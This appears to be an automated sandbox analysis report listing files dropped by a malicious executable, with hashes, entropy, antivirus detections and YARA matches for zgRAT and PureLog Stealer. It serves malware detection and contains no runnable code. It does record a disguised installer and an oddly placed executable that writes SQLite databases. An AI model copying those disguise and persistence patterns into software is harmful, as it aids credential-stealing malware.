Process:	C:\Users\user\Desktop\gorkmTnChA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3860292
Entropy (8bit):	7.762215927120894
Encrypted:	false
SSDEEP:	49152:IBJI2EAM8/6Xg6/x08VtOkxE4HfOi5nZ/Ite8eeAd9nOtgwD9sYY:yCnblgmx0+tp+wPJuYZtggwD9C
MD5:	A7645CAC446E39F9961F51E3BB1C0515
SHA1:	3D28A81F81325AFD6DC5DAD9E9FC75E081F10C9D
SHA-256:	E72AC50AEA46FD0CA87B7EE7AF5203BD65D646B8E4A48B46DC1AEDD849B79897
SHA-512:	3C7DD1069DB524C1E2D3C20ACD3F2CB963E5E3649421124F44E098C1BFCC8BF005C4AC55F3F3B8F0D3B0FF4DBE5E1DED9D61392F624F1378FB02A852217360D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FjB3G0aOKl

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Gl4BJgwgtg

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I7S47rJ7f7

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KUA0FEd33u

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI43FC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI447A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI44B9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1117504
Entropy (8bit):	6.484489639550344
Encrypted:	false
SSDEEP:	24576:96KyJqotyEbjgE3pr9CxKoibHCMm7HH4d5+u+Tx5KzEKrbsUT1wZS:d+qotJCxKoibHCNbH4d5+u+Tx5KzEKrP
MD5:	C04ED00DDCB3518E8CF6DB24DB294A50
SHA1:	CC98CC3AB9C4371F85EA227D9F761BAB4AA76BAA
SHA-256:	3C21E1F3BB3EBEB5F0FF68658DB8ABD18B62F8B195288C4BF87936FC51F8AE9E
SHA-512:	736946A3130F294878EA51145960017BABCC1B8AC2C96AFD8B9E2A4D120F173AFB84BBD04B6F0113F286D4BC671BEFECD4E92C582F1DE1A0D5BC8738C3CAE9C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.2;..a;..a;..a.n.`6..a.n.`...a.`.`*..a.`.`,..a.`.`h..a.n.`"..a.n.`$..a;..a...a.a.`...a.a.`:..a.aEa:..a;.-a:..a.a.`:..aRich;..a........................PE..L...."od.........."!...#.T...........U.......p............................... .......e....@.........................`...t..............................@=......`>..h...p...............................@............p..4............................text....S.......T.................. ..`.rdata...U...p...V...X..............@..@.data...@...........................@....rsrc...............................@..@.reloc..`>.......@..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI46ED.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	726840
Entropy (8bit):	6.453439210931193
Encrypted:	false
SSDEEP:	12288:jn6hflHZVr6xVYUiONE4i1uDiSNrETsc4UYK/DAt5c1+vn2eFzLT:mUTxipSxETsNV35c8vn2mzLT
MD5:	EB7811666AC7BE6477E23AF68511424F
SHA1:	1623579C5A3710DCC694A2FD49DEFA27D56D9175
SHA-256:	AD706739B04256B9215E80D2D030863A37F0D7FD0E4071D0A3A73D6704D8BD8F
SHA-512:	3055BAA15C92F476513C66A423043DC4B8C5F83F47643AD77665D6A2F823F4655BF4AE241D8AF4BC34D53630DF1C35989F0B11B934A631960668FCC7A8C81A7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................k...x.....x...........x........................................I.....!..........Rich...........PE..L....!od.........."!...#.............}....................................... .......=....@.........................PM......lN..........h...............8=.......n..h@..p....................A..........@....................K..@....................text...,........................... ..`.rdata..Rb.......d..................@..@.data....'...p.......N..............@....rsrc...h............d..............@..@.reloc...n.......p...j..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI47C9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4969.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4A36.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4A94.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4B03.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4C8A.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4D85.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	726840
Entropy (8bit):	6.453439210931193
Encrypted:	false
SSDEEP:	12288:jn6hflHZVr6xVYUiONE4i1uDiSNrETsc4UYK/DAt5c1+vn2eFzLT:mUTxipSxETsNV35c8vn2mzLT
MD5:	EB7811666AC7BE6477E23AF68511424F
SHA1:	1623579C5A3710DCC694A2FD49DEFA27D56D9175
SHA-256:	AD706739B04256B9215E80D2D030863A37F0D7FD0E4071D0A3A73D6704D8BD8F
SHA-512:	3055BAA15C92F476513C66A423043DC4B8C5F83F47643AD77665D6A2F823F4655BF4AE241D8AF4BC34D53630DF1C35989F0B11B934A631960668FCC7A8C81A7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................k...x.....x...........x........................................I.....!..........Rich...........PE..L....!od.........."!...#.............}....................................... .......=....@.........................PM......lN..........h...............8=.......n..h@..p....................A..........@....................K..@....................text...,........................... ..`.rdata..Rb.......d..................@..@.data....'...p.......N..............@....rsrc...h............d..............@..@.reloc...n.......p...j..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4DB5.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1117504
Entropy (8bit):	6.484489639550344
Encrypted:	false
SSDEEP:	24576:96KyJqotyEbjgE3pr9CxKoibHCMm7HH4d5+u+Tx5KzEKrbsUT1wZS:d+qotJCxKoibHCNbH4d5+u+Tx5KzEKrP
MD5:	C04ED00DDCB3518E8CF6DB24DB294A50
SHA1:	CC98CC3AB9C4371F85EA227D9F761BAB4AA76BAA
SHA-256:	3C21E1F3BB3EBEB5F0FF68658DB8ABD18B62F8B195288C4BF87936FC51F8AE9E
SHA-512:	736946A3130F294878EA51145960017BABCC1B8AC2C96AFD8B9E2A4D120F173AFB84BBD04B6F0113F286D4BC671BEFECD4E92C582F1DE1A0D5BC8738C3CAE9C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.2;..a;..a;..a.n.`6..a.n.`...a.`.`*..a.`.`,..a.`.`h..a.n.`"..a.n.`$..a;..a...a.a.`...a.a.`:..a.aEa:..a;.-a:..a.a.`:..aRich;..a........................PE..L...."od.........."!...#.T...........U.......p............................... .......e....@.........................`...t..............................@=......`>..h...p...............................@............p..4............................text....S.......T.................. ..`.rdata...U...p...V...X..............@..@.data...@...........................@....rsrc...............................@..@.reloc..`>.......@..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI4DD5.tmp

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.468846675265772
Encrypted:	false
SSDEEP:	12288:q+zdBoU6TPAjp66Ulgc2WGz5QCxOWIGv7:pBoBTopk1BGz5nsWIGv7
MD5:	9E0AEF52F6C03B2FEA067342D9D4F22F
SHA1:	D4431A858C8A7A79315829EC7AA82E838C2714F4
SHA-256:	42B8ADAFCB4E8496D9822A0C504F449E56456528A9251C153381D3F63D197E5B
SHA-512:	42858A6695D7906B3DF4DC97F3B1FAC737633A51FFB52E8EC8EDDEB21F8CDB53C199BB698E54C4A931155EAFD879DE6FFF114B84F298C84436B776E286EBEEB1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L....!od.........."!...#.<...........W.......P...............................0......H.....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Download File

Process:	C:\Users\user\Desktop\gorkmTnChA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5973672
Entropy (8bit):	7.301554910776435
Encrypted:	false
SSDEEP:	98304:IrvLO010gIuekBbIAAvoTeU0q4ekVbu8sGL3sY5eVrPL3NeJm6Nib:ELO0Ejc4egHsu8Y5e3km6Ns
MD5:	8A0591A6B534E32FA179F2D781B79026
SHA1:	61E1AFF6F862CBCE0E1F6E9E70D186E5013D9846
SHA-256:	4DF8350850592B587C4D2AAABDDC8454BC4652DF0082B85C3336139A9C6EA53E
SHA-512:	0A261AFD07A152E0F4E7D4DF8AD0D57C53E9690B0B4F7ED13614B60C55466BAFA7AC70472F6B1B5B41E49B249F080AD3C4D440B655B631B17C3C7E1CEA3055BD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}..O...O...O..6=...O..6=..^O..6=...O..Z3...O..Z3...O..Z3..O..6=...O..6=...O..6=...O...O...M..<2..N..<2...O...O...O..<2...O..Rich.O..........PE..L.....od.........."....#..%..........h........%...@..........................@5.......[...@.................................L...(...../...............[.......2.....H.(.p.....................(.....P.&.@.............%......}..`....................text.....%.......%................. ..`.rdata..2.....%.......%.............@..@.data............:..................@....rsrc........./.....................@..@.reloc........2.......1.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Sl45SGNwVW

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TUvZ9UE0NY

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U3e4dGJbP5

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
